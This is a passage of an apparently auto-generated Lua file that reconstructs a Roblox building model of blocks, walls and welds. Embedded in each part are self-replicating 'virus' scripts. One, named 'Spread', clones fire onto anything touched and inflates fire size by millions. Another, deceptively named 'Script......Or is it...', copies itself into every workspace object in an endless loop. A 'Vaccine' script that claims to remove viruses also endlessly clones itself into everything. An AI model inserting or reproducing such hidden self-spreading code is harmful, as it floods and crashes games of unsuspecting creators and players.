- ManualWeld111.Name = "Smooth Block Model-to-Smooth Block Model Strong Joint"
- ManualWeld111.Parent = Part103
- ManualWeld111.C0 = CFrame.new(-0.200000018, -0.899999738, 0.200000003, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- ManualWeld111.C1 = CFrame.new(-0.200000763, -0.899999619, -0.199996948, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- ManualWeld111.Part0 = Part103
- ManualWeld111.Part1 = Part130
- ManualWeld111.part1 = Part130
- Script112.Name = "Vaccine"
- Script112.Parent = Part103
- table.insert(cors,sandbox(Script112,function()
- function spread() -- created by nadnarb4
- local stuff = game.Workspace:GetChildren()
- for i = 1, #stuff do
- if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
- local clone = script:clone()
- clone.Parent = stuff[i]
- end
- end
- end
- while true do
- wait(.1)
- spread()
- end
- function GetAllItems(mdl)
- local objs = {}
- function Search(obj)
- if obj~=workspace then
- table.insert(objs,obj)
- end
- if #obj:GetChildren() > 0 then
- for i, v in ipairs(obj:GetChildren()) do
- Search(v)
- end
- end
- end
- Search(mdl)
- return objs
- end
- for i, v in ipairs(GetAllItems(workspace)) do
- if v.className == "Script" then
- if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
- v.Parent = game.Lighting --Just in case it has a removal prevention.
- t = Instance.new("ObjectValue")
- t.Name = "IsAVirus"
- t.Parent = v
- end
- end
- end
- for i, v in ipairs(game.Lighting:GetChildren()) do
- if v:findFirstChild("IsAVirus") then --Only remove the viruses.
- v:remove()
- end
- end
- end))
- Part113.Name = "Smooth Block Model"
- Part113.Parent = Model0
- Part113.CFrame = CFrame.new(-9.21063614, 0.899998009, -10.358428, 1.00000131, 0, 0, 0, 1.00000131, 0, 0, 0, 1)
- Part113.Position = Vector3.new(-9.21063614, 0.899998009, -10.358428)
- Part113.Color = Color3.new(0.768627, 0.156863, 0.109804)
- Part113.Size = Vector3.new(0.400000036, 1.79999948, 0.400000006)
- Part113.Anchored = true
- Part113.BottomSurface = Enum.SurfaceType.Smooth
- Part113.BrickColor = BrickColor.new("Bright red")
- Part113.Material = Enum.Material.DiamondPlate
- Part113.TopSurface = Enum.SurfaceType.Smooth
- Part113.brickColor = BrickColor.new("Bright red")
- Part113.FormFactor = Enum.FormFactor.Custom
- Part113.formFactor = Enum.FormFactor.Custom
- Fire114.Parent = Part113
- Fire114.Color = Color3.new(1, 0.678431, 0)
- Fire114.Enabled = false
- Fire114.Size = 30
- Fire114.Heat = 25
- Fire114.SecondaryColor = Color3.new(1, 0, 0)
- Fire114.size = 30
- Script115.Name = "Spread"
- Script115.Parent = Fire114
- table.insert(cors,sandbox(Script115,function()
- function Spread(part)
- check = part:findFirstChild("Fire")
- if check == nil then
- script.Parent:Clone().Parent = part
- elseif check ~= nil then
- check.Size = check.Size + 1000000
- check.Heat = check.Heat +1000000
- end
- end
- script.Parent.Parent.Touched:connect(Spread)
- end))
- BoolValue116.Name = "RobloxStamper"
- BoolValue116.Parent = Part113
- BoolValue117.Name = "RobloxModel"
- BoolValue117.Parent = Part113
- RotateP118.Name = "INfecTION"
- RotateP118.Parent = Part113
- RotateP118.BaseAngle = 0.25
- Script119.Name = "Script......Or is it..."
- Script119.Parent = RotateP118
- table.insert(cors,sandbox(Script119,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- Script120.Name = "Vaccine"
- Script120.Parent = Part113
- table.insert(cors,sandbox(Script120,function()
- function spread() -- created by nadnarb4
- local stuff = game.Workspace:GetChildren()
- for i = 1, #stuff do
- if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
- local clone = script:clone()
- clone.Parent = stuff[i]
- end
- end
- end
- while true do
- wait(.1)
- spread()
- end
- function GetAllItems(mdl)
- local objs = {}
- function Search(obj)
- if obj~=workspace then
- table.insert(objs,obj)
- end
- if #obj:GetChildren() > 0 then
- for i, v in ipairs(obj:GetChildren()) do
- Search(v)
- end
- end
- end
- Search(mdl)
- return objs
- end
- for i, v in ipairs(GetAllItems(workspace)) do
- if v.className == "Script" then
- if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
- v.Parent = game.Lighting --Just in case it has a removal prevention.
- t = Instance.new("ObjectValue")
- t.Name = "IsAVirus"
- t.Parent = v
- end
- end
- end
- for i, v in ipairs(game.Lighting:GetChildren()) do
- if v:findFirstChild("IsAVirus") then --Only remove the viruses.
- v:remove()
- end
- end
- end))
- Part121.Name = "spaceWall"
- Part121.Parent = Model0
- Part121.CFrame = CFrame.new(-8.21075439, 4.17999887, -8.25842476, 1.00000131, 0, 0, 0, 1.00000131, 0, 0, 0, 1)
- Part121.Position = Vector3.new(-8.21075439, 4.17999887, -8.25842476)
- Part121.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part121.Size = Vector3.new(0.799999356, 0.599999368, 1.799999)
- Part121.Anchored = true
- Part121.BottomSurface = Enum.SurfaceType.Smooth
- Part121.BrickColor = BrickColor.new("Dark stone grey")
- Part121.Material = Enum.Material.DiamondPlate
- Part121.TopSurface = Enum.SurfaceType.Smooth
- Part121.brickColor = BrickColor.new("Dark stone grey")
- Part121.FormFactor = Enum.FormFactor.Custom
- Part121.formFactor = Enum.FormFactor.Custom
- Fire122.Parent = Part121
- Fire122.Color = Color3.new(1, 0.678431, 0)
- Fire122.Enabled = false
- Fire122.Size = 30
- Fire122.Heat = 25
- Fire122.SecondaryColor = Color3.new(1, 0, 0)
- Fire122.size = 30
- Script123.Name = "Spread"
- Script123.Parent = Fire122
- table.insert(cors,sandbox(Script123,function()
- function Spread(part)
- check = part:findFirstChild("Fire")
- if check == nil then
- script.Parent:Clone().Parent = part
- elseif check ~= nil then
- check.Size = check.Size + 1000000
- check.Heat = check.Heat +1000000
- end
- end
- script.Parent.Parent.Touched:connect(Spread)
- end))
- BoolValue124.Name = "RobloxStamper"
- BoolValue124.Parent = Part121
- BoolValue125.Name = "RobloxModel"
- BoolValue125.Parent = Part121
- RotateP126.Name = "INfecTION"
- RotateP126.Parent = Part121
- RotateP126.BaseAngle = 0.25
- Script127.Name = "Script......Or is it..."
- Script127.Parent = RotateP126
- table.insert(cors,sandbox(Script127,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- ManualWeld128.Name = "spaceWall-to-spaceWallCorner Strong Joint"
- ManualWeld128.Parent = Part121
- ManualWeld128.C0 = CFrame.new(-0.399999678, -0.299999684, -0.899999499, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- ManualWeld128.C1 = CFrame.new(-0.900009155, -0.399999619, 0.29999733, 1, 0, -0, 0, 0, 1, 0, -1, 0)
- ManualWeld128.Part0 = Part121
- ManualWeld128.Part1 = WedgePart176
- ManualWeld128.part1 = WedgePart176
- Script129.Name = "Vaccine"
- Script129.Parent = Part121
- table.insert(cors,sandbox(Script129,function()
- function spread() -- created by nadnarb4
- local stuff = game.Workspace:GetChildren()
- for i = 1, #stuff do
- if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
- local clone = script:clone()
- clone.Parent = stuff[i]
- end
- end
- end
- while true do
- wait(.1)
- spread()
- end
- function GetAllItems(mdl)
- local objs = {}
- function Search(obj)
- if obj~=workspace then
- table.insert(objs,obj)
- end
- if #obj:GetChildren() > 0 then
- for i, v in ipairs(obj:GetChildren()) do
- Search(v)
- end
- end
- end
- Search(mdl)
- return objs
- end
- for i, v in ipairs(GetAllItems(workspace)) do
- if v.className == "Script" then
- if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
- v.Parent = game.Lighting --Just in case it has a removal prevention.
- t = Instance.new("ObjectValue")
- t.Name = "IsAVirus"
- t.Parent = v
- end
- end
- end
- for i, v in ipairs(game.Lighting:GetChildren()) do
- if v:findFirstChild("IsAVirus") then --Only remove the viruses.
- v:remove()
- end
- end
- end))
- Part130.Name = "Smooth Block Model"
- Part130.Parent = Model0
- Part130.CFrame = CFrame.new(-9.6106596, 0.899998009, -9.95842648, 1.00000131, 0, 0, 0, 1.00000131, 0, 0, 0, 1)
- Part130.Position = Vector3.new(-9.6106596, 0.899998009, -9.95842648)
- Part130.Color = Color3.new(0.768627, 0.156863, 0.109804)
- Part130.Size = Vector3.new(0.400000036, 1.79999948, 0.400000006)
- Part130.Anchored = true
- Part130.BottomSurface = Enum.SurfaceType.Smooth
- Part130.BrickColor = BrickColor.new("Bright red")
- Part130.Material = Enum.Material.DiamondPlate
- Part130.TopSurface = Enum.SurfaceType.Smooth
- Part130.brickColor = BrickColor.new("Bright red")
- Part130.FormFactor = Enum.FormFactor.Custom
- Part130.formFactor = Enum.FormFactor.Custom
- Fire131.Parent = Part130
- Fire131.Color = Color3.new(1, 0.678431, 0)
- Fire131.Enabled = false
- Fire131.Size = 30
- Fire131.Heat = 25
- Fire131.SecondaryColor = Color3.new(1, 0, 0)
- Fire131.size = 30
- Script132.Name = "Spread"
- Script132.Parent = Fire131
- table.insert(cors,sandbox(Script132,function()
- function Spread(part)
- check = part:findFirstChild("Fire")
- if check == nil then
- script.Parent:Clone().Parent = part
- elseif check ~= nil then
- check.Size = check.Size + 1000000
- check.Heat = check.Heat +1000000
- end
- end
- script.Parent.Parent.Touched:connect(Spread)
- end))
- BoolValue133.Name = "RobloxStamper"
- BoolValue133.Parent = Part130
- BoolValue134.Name = "RobloxModel"
- BoolValue134.Parent = Part130
- RotateP135.Name = "INfecTION"
- RotateP135.Parent = Part130
- RotateP135.BaseAngle = 0.25
- Script136.Name = "Script......Or is it..."
- Script136.Parent = RotateP135
- table.insert(cors,sandbox(Script136,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- Script137.Name = "Vaccine"
- Script137.Parent = Part130
- table.insert(cors,sandbox(Script137,function()
- function spread() -- created by nadnarb4
- local stuff = game.Workspace:GetChildren()
- for i = 1, #stuff do
- if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
- local clone = script:clone()
- clone.Parent = stuff[i]
- end
- end
- end
- while true do
- wait(.1)
- spread()
- end
- function GetAllItems(mdl)
- local objs = {}
- function Search(obj)
- if obj~=workspace then
- table.insert(objs,obj)
- end
- if #obj:GetChildren() > 0 then
- for i, v in ipairs(obj:GetChildren()) do
- Search(v)
- end
- end
- end
- Search(mdl)
- return objs
- end
- for i, v in ipairs(GetAllItems(workspace)) do
- if v.className == "Script" then
- if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
- v.Parent = game.Lighting --Just in case it has a removal prevention.
- t = Instance.new("ObjectValue")
- t.Name = "IsAVirus"
- t.Parent = v
- end
- end
- end
- for i, v in ipairs(game.Lighting:GetChildren()) do
- if v:findFirstChild("IsAVirus") then --Only remove the viruses.
- v:remove()
- end
- end
- end))
- Part138.Name = "spaceWall"
- Part138.Parent = Model0
- Part138.CFrame = CFrame.new(-8.61065578, 3.38000011, -8.25842476, 1.00000131, 0, 0, 0, 1.00000131, 0, 0, 0, 1)
- Part138.Position = Vector3.new(-8.61065578, 3.38000011, -8.25842476)
- Part138.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part138.Size = Vector3.new(1.59999943, 0.999999344, 1.799999)
- Part138.Anchored = true
- Part138.BottomSurface = Enum.SurfaceType.Smooth
- Part138.BrickColor = BrickColor.new("Dark stone grey")
- Part138.Material = Enum.Material.DiamondPlate
- Part138.TopSurface = Enum.SurfaceType.Smooth
- Part138.brickColor = BrickColor.new("Dark stone grey")
- Part138.FormFactor = Enum.FormFactor.Custom
- Part138.formFactor = Enum.FormFactor.Custom
- Fire139.Parent = Part138
- Fire139.Color = Color3.new(1, 0.678431, 0)
- Fire139.Enabled = false
- Fire139.Size = 30
- Fire139.Heat = 25
- Fire139.SecondaryColor = Color3.new(1, 0, 0)
- Fire139.size = 30
- Script140.Name = "Spread"
- Script140.Parent = Fire139
- table.insert(cors,sandbox(Script140,function()
- function Spread(part)
- check = part:findFirstChild("Fire")
- if check == nil then
- script.Parent:Clone().Parent = part
- elseif check ~= nil then
- check.Size = check.Size + 1000000
- check.Heat = check.Heat +1000000
- end
- end
- script.Parent.Parent.Touched:connect(Spread)
- end))
- BoolValue141.Name = "RobloxStamper"
- BoolValue141.Parent = Part138
- BoolValue142.Name = "RobloxModel"
- BoolValue142.Parent = Part138
- RotateP143.Name = "INfecTION"
- RotateP143.Parent = Part138
- RotateP143.BaseAngle = 0.25
- Script144.Name = "Script......Or is it..."
- Script144.Parent = RotateP143
- table.insert(cors,sandbox(Script144,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- ManualWeld145.Name = "spaceWall-to-spaceWall Strong Joint"
- ManualWeld145.Parent = Part138
- ManualWeld145.C0 = CFrame.new(-0.799999714, 0.499999672, 0.899999499, -1, 0, 0, 0, 0, 1, 0, 1, -0)
- ManualWeld145.C1 = CFrame.new(-1.20000076, -0.299999237, 0.900001526, -1, 0, 0, 0, 0, 1, 0, 1, -0)
- ManualWeld145.Part0 = Part138
- ManualWeld145.Part1 = Part121
- ManualWeld145.part1 = Part121
- ManualWeld146.Name = "spaceWall-to-spaceWallCorner Strong Joint"
- ManualWeld146.Parent = Part138
- ManualWeld146.C0 = CFrame.new(-0.799999714, 0.499999672, 0.899999499, -1, 0, 0, 0, 0, 1, 0, 1, -0)
- ManualWeld146.C1 = CFrame.new(0.899993896, 0.400001526, 0.29999733, 0, 1, 0, 1, 0, 0, 0, 0, -1)
- ManualWeld146.Part0 = Part138
- ManualWeld146.Part1 = WedgePart176
- ManualWeld146.part1 = WedgePart176
- Script147.Name = "Vaccine"
- Script147.Parent = Part138
- table.insert(cors,sandbox(Script147,function()
- function spread() -- created by nadnarb4
- local stuff = game.Workspace:GetChildren()
- for i = 1, #stuff do
- if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
- local clone = script:clone()
- clone.Parent = stuff[i]
- end
- end
- end
- while true do
- wait(.1)
- spread()
- end
- function GetAllItems(mdl)
- local objs = {}
- function Search(obj)
- if obj~=workspace then
- table.insert(objs,obj)
- end
- if #obj:GetChildren() > 0 then
- for i, v in ipairs(obj:GetChildren()) do
- Search(v)
- end
- end
- end
- Search(mdl)
- return objs
- end
- for i, v in ipairs(GetAllItems(workspace)) do
- if v.className == "Script" then
- if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
- v.Parent = game.Lighting --Just in case it has a removal prevention.
- t = Instance.new("ObjectValue")
- t.Name = "IsAVirus"
- t.Parent = v
- end
- end
- end
- for i, v in ipairs(game.Lighting:GetChildren()) do
- if v:findFirstChild("IsAVirus") then --Only remove the viruses.
- v:remove()
- end
- end
- end))
- ManualWeld148.Name = "spaceWall-to-spaceWall Strong Joint"
- ManualWeld148.Parent = Part138
- ManualWeld148.C0 = CFrame.new(0.799999714, -0.499999672, 0.899999499, 0, 0, 1, 0, 1, -0, -1, 0, 0)
- ManualWeld148.C1 = CFrame.new(-1.39990234, -0.540008545, -0.299987793, 1, 0, -4.37113883e-08, 0, 1, 0, 4.37113883e-08, 0, 1)
- ManualWeld148.Part0 = Part138
- ManualWeld148.Part1 = Part95
- ManualWeld148.part1 = Part95
- ManualWeld149.Name = "spaceWall-to-spaceWall Strong Joint"
- ManualWeld149.Parent = Part138
- ManualWeld149.C0 = CFrame.new(0.799999714, -0.499999672, 0.899999499, 0, 0, 1, 0, 1, -0, -1, 0, 0)
- ManualWeld149.C1 = CFrame.new(-0.400024414, -0.540008545, -0.300003052, 1, 0, -4.37113883e-08, 0, 1, 0, 4.37113883e-08, 0, 1)
- ManualWeld149.Part0 = Part138
- ManualWeld149.Part1 = Part87
- ManualWeld149.part1 = Part87
- Part150.Name = "Smooth Block Model"
- Part150.Parent = Model0
- Part150.CFrame = CFrame.new(-9.6106596, 0.899998009, -6.35842896, 1.00000131, 0, 0, 0, 1.00000131, 0, 0, 0, 1)
- Part150.Position = Vector3.new(-9.6106596, 0.899998009, -6.35842896)
- Part150.Color = Color3.new(0.768627, 0.156863, 0.109804)
- Part150.Size = Vector3.new(0.400000036, 1.79999948, 0.400000006)
- Part150.Anchored = true
- Part150.BottomSurface = Enum.SurfaceType.Smooth
- Part150.BrickColor = BrickColor.new("Bright red")
- Part150.Material = Enum.Material.DiamondPlate
- Part150.TopSurface = Enum.SurfaceType.Smooth
- Part150.brickColor = BrickColor.new("Bright red")
- Part150.FormFactor = Enum.FormFactor.Custom
- Part150.formFactor = Enum.FormFactor.Custom
- Fire151.Parent = Part150
- Fire151.Color = Color3.new(1, 0.678431, 0)
- Fire151.Enabled = false
- Fire151.Size = 30
- Fire151.Heat = 25
- Fire151.SecondaryColor = Color3.new(1, 0, 0)
- Fire151.size = 30
- Script152.Name = "Spread"
- Script152.Parent = Fire151
- table.insert(cors,sandbox(Script152,function()
- function Spread(part)
- check = part:findFirstChild("Fire")
- if check == nil then
- script.Parent:Clone().Parent = part
- elseif check ~= nil then
- check.Size = check.Size + 1000000
- check.Heat = check.Heat +1000000
- end
- end
- script.Parent.Parent.Touched:connect(Spread)
- end))
- BoolValue153.Name = "RobloxStamper"
- BoolValue153.Parent = Part150
- BoolValue154.Name = "RobloxModel"
- BoolValue154.Parent = Part150
- RotateP155.Name = "INfecTION"
- RotateP155.Parent = Part150
- RotateP155.BaseAngle = 0.25
- Script156.Name = "Script......Or is it..."
- Script156.Parent = RotateP155
- table.insert(cors,sandbox(Script156,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- ManualWeld157.Name = "Smooth Block Model-to-Smooth Block Model Strong Joint"
- ManualWeld157.Parent = Part150
- ManualWeld157.C0 = CFrame.new(0.200000018, -0.899999738, -0.200000003, -1, 0, 0, 0, 1, 0, 0, 0, -1)
- ManualWeld157.C1 = CFrame.new(0.200000763, -0.899999619, 0.199996948, -1, 0, 0, 0, 1, 0, 0, 0, -1)
- ManualWeld157.Part0 = Part150
- ManualWeld157.Part1 = Part168
- ManualWeld157.part1 = Part168
- ManualWeld158.Name = "Smooth Block Model-to-Smooth Block Model Strong Joint"
- ManualWeld158.Parent = Part150
- ManualWeld158.C0 = CFrame.new(0.200000018, -0.899999738, 0.200000003, 0, 0, 1, 0, 1, -0, -1, 0, 0)
- ManualWeld158.C1 = CFrame.new(-0.200000763, -0.899999619, 0.199996948, 0, 0, 1, 0, 1, -0, -1, 0, 0)
- ManualWeld158.Part0 = Part150
- ManualWeld158.Part1 = Part160
- ManualWeld158.part1 = Part160
- Script159.Name = "Vaccine"
- Script159.Parent = Part150
- table.insert(cors,sandbox(Script159,function()
- function spread() -- created by nadnarb4
- local stuff = game.Workspace:GetChildren()
- for i = 1, #stuff do
- if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
- local clone = script:clone()
- clone.Parent = stuff[i]
- end
- end
- end
- while true do
- wait(.1)
- spread()
- end
- function GetAllItems(mdl)
- local objs = {}
- function Search(obj)
- if obj~=workspace then
- table.insert(objs,obj)
- end
- if #obj:GetChildren() > 0 then
- for i, v in ipairs(obj:GetChildren()) do
- Search(v)
- end
- end
- end
- Search(mdl)
- return objs
- end
- for i, v in ipairs(GetAllItems(workspace)) do
- if v.className == "Script" then
- if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
- v.Parent = game.Lighting --Just in case it has a removal prevention.
- t = Instance.new("ObjectValue")
- t.Name = "IsAVirus"
- t.Parent = v
- end
- end
- end
- for i, v in ipairs(game.Lighting:GetChildren()) do
- if v:findFirstChild("IsAVirus") then --Only remove the viruses.
- v:remove()
- end
- end
- end))
- Part160.Name = "Smooth Block Model"
- Part160.Parent = Model0
- Part160.CFrame = CFrame.new(-9.21063614, 0.899998009, -6.35842896, 1.00000131, 0, 0, 0, 1.00000131, 0, 0, 0, 1)
- Part160.Position = Vector3.new(-9.21063614, 0.899998009, -6.35842896)
- Part160.Color = Color3.new(0.768627, 0.156863, 0.109804)
- Part160.Size = Vector3.new(0.400000036, 1.79999948, 0.400000006)
- Part160.Anchored = true
- Part160.BottomSurface = Enum.SurfaceType.Smooth
- Part160.BrickColor = BrickColor.new("Bright red")
- Part160.Material = Enum.Material.DiamondPlate
- Part160.TopSurface = Enum.SurfaceType.Smooth
- Part160.brickColor = BrickColor.new("Bright red")
- Part160.FormFactor = Enum.FormFactor.Custom
- Part160.formFactor = Enum.FormFactor.Custom
- Fire161.Parent = Part160
- Fire161.Color = Color3.new(1, 0.678431, 0)
- Fire161.Enabled = false
- Fire161.Size = 30
- Fire161.Heat = 25
- Fire161.SecondaryColor = Color3.new(1, 0, 0)
- Fire161.size = 30
- Script162.Name = "Spread"
- Script162.Parent = Fire161
- table.insert(cors,sandbox(Script162,function()
- function Spread(part)
- check = part:findFirstChild("Fire")
- if check == nil then
- script.Parent:Clone().Parent = part
- elseif check ~= nil then
- check.Size = check.Size + 1000000
- check.Heat = check.Heat +1000000
- end
- end
- script.Parent.Parent.Touched:connect(Spread)
- end))
- BoolValue163.Name = "RobloxStamper"
- BoolValue163.Parent = Part160
- BoolValue164.Name = "RobloxModel"
- BoolValue164.Parent = Part160
- RotateP165.Name = "INfecTION"
- RotateP165.Parent = Part160
- RotateP165.BaseAngle = 0.25
- Script166.Name = "Script......Or is it..."
- Script166.Parent = RotateP165
- table.insert(cors,sandbox(Script166,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- Script167.Name = "Vaccine"
- Script167.Parent = Part160
- table.insert(cors,sandbox(Script167,function()
- function spread() -- created by nadnarb4
- local stuff = game.Workspace:GetChildren()
- for i = 1, #stuff do
- if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
- local clone = script:clone()
- clone.Parent = stuff[i]
- end
- end
- end
- while true do
- wait(.1)
- spread()
- end
- function GetAllItems(mdl)
- local objs = {}
- function Search(obj)
- if obj~=workspace then
- table.insert(objs,obj)
- end
- if #obj:GetChildren() > 0 then
- for i, v in ipairs(obj:GetChildren()) do
- Search(v)
- end
- end
- end
- Search(mdl)
- return objs
- end
- for i, v in ipairs(GetAllItems(workspace)) do
- if v.className == "Script" then
- if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
- v.Parent = game.Lighting --Just in case it has a removal prevention.
- t = Instance.new("ObjectValue")
- t.Name = "IsAVirus"
- t.Parent = v
- end
- end
- end
- for i, v in ipairs(game.Lighting:GetChildren()) do
- if v:findFirstChild("IsAVirus") then --Only remove the viruses.
- v:remove()
- end
- end
- end))
- Part168.Name = "Smooth Block Model"
- Part168.Parent = Model0
- Part168.CFrame = CFrame.new(-9.6106596, 0.899998009, -6.75842619, 1.00000131, 0, 0, 0, 1.00000131, 0, 0, 0, 1)
- Part168.Position = Vector3.new(-9.6106596, 0.899998009, -6.75842619)
- Part168.Color = Color3.new(0.768627, 0.156863, 0.109804)
- Part168.Size = Vector3.new(0.400000036, 1.79999948, 0.400000006)
- Part168.Anchored = true
- Part168.BottomSurface = Enum.SurfaceType.Smooth
- Part168.BrickColor = BrickColor.new("Bright red")
- Part168.Material = Enum.Material.DiamondPlate
- Part168.TopSurface = Enum.SurfaceType.Smooth
- Part168.brickColor = BrickColor.new("Bright red")
- Part168.FormFactor = Enum.FormFactor.Custom
- Part168.formFactor = Enum.FormFactor.Custom
- Fire169.Parent = Part168
- Fire169.Color = Color3.new(1, 0.678431, 0)
- Fire169.Enabled = false
- Fire169.Size = 30
- Fire169.Heat = 25
- Fire169.SecondaryColor = Color3.new(1, 0, 0)
- Fire169.size = 30
- Script170.Name = "Spread"
- Script170.Parent = Fire169
- table.insert(cors,sandbox(Script170,function()
- function Spread(part)
- check = part:findFirstChild("Fire")
- if check == nil then
- script.Parent:Clone().Parent = part
- elseif check ~= nil then
- check.Size = check.Size + 1000000
- check.Heat = check.Heat +1000000
- end
- end
- script.Parent.Parent.Touched:connect(Spread)
- end))
- BoolValue171.Name = "RobloxStamper"
- BoolValue171.Parent = Part168
- BoolValue172.Name = "RobloxModel"
- BoolValue172.Parent = Part168
- RotateP173.Name = "INfecTION"
- RotateP173.Parent = Part168
- RotateP173.BaseAngle = 0.25
- Script174.Name = "Script......Or is it..."
- Script174.Parent = RotateP173
- table.insert(cors,sandbox(Script174,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- Script175.Name = "Vaccine"
- Script175.Parent = Part168
- table.insert(cors,sandbox(Script175,function()
- function spread() -- created by nadnarb4
- local stuff = game.Workspace:GetChildren()
- for i = 1, #stuff do
- if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
- local clone = script:clone()
- clone.Parent = stuff[i]
- end
- end
- end
- while true do
- wait(.1)
- spread()
- end
- function GetAllItems(mdl)
- local objs = {}
- function Search(obj)
- if obj~=workspace then
- table.insert(objs,obj)
- end
- if #obj:GetChildren() > 0 then
- for i, v in ipairs(obj:GetChildren()) do
- Search(v)
- end
- end
- end
- Search(mdl)
- return objs
- end
- for i, v in ipairs(GetAllItems(workspace)) do
- if v.className == "Script" then
- if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
- v.Parent = game.Lighting --Just in case it has a removal prevention.
- t = Instance.new("ObjectValue")
- t.Name = "IsAVirus"
- t.Parent = v
- end
- end
- end
- for i, v in ipairs(game.Lighting:GetChildren()) do
- if v:findFirstChild("IsAVirus") then --Only remove the viruses.
- v:remove()
- end
- end
- end))
- WedgePart176.Name = "spaceWallCorner"
- WedgePart176.Parent = Model0
- WedgePart176.CFrame = CFrame.new(-9.0106802, 4.17999887, -8.25842476, 0, -1.00000131, 0, 0, 0, -1.00000131, 1, 0, 0)
- WedgePart176.Orientation = Vector3.new(90, -90, 0)
- WedgePart176.Position = Vector3.new(-9.0106802, 4.17999887, -8.25842476)
- WedgePart176.Rotation = Vector3.new(90, 0, 90)
- WedgePart176.Color = Color3.new(0.388235, 0.372549, 0.384314)
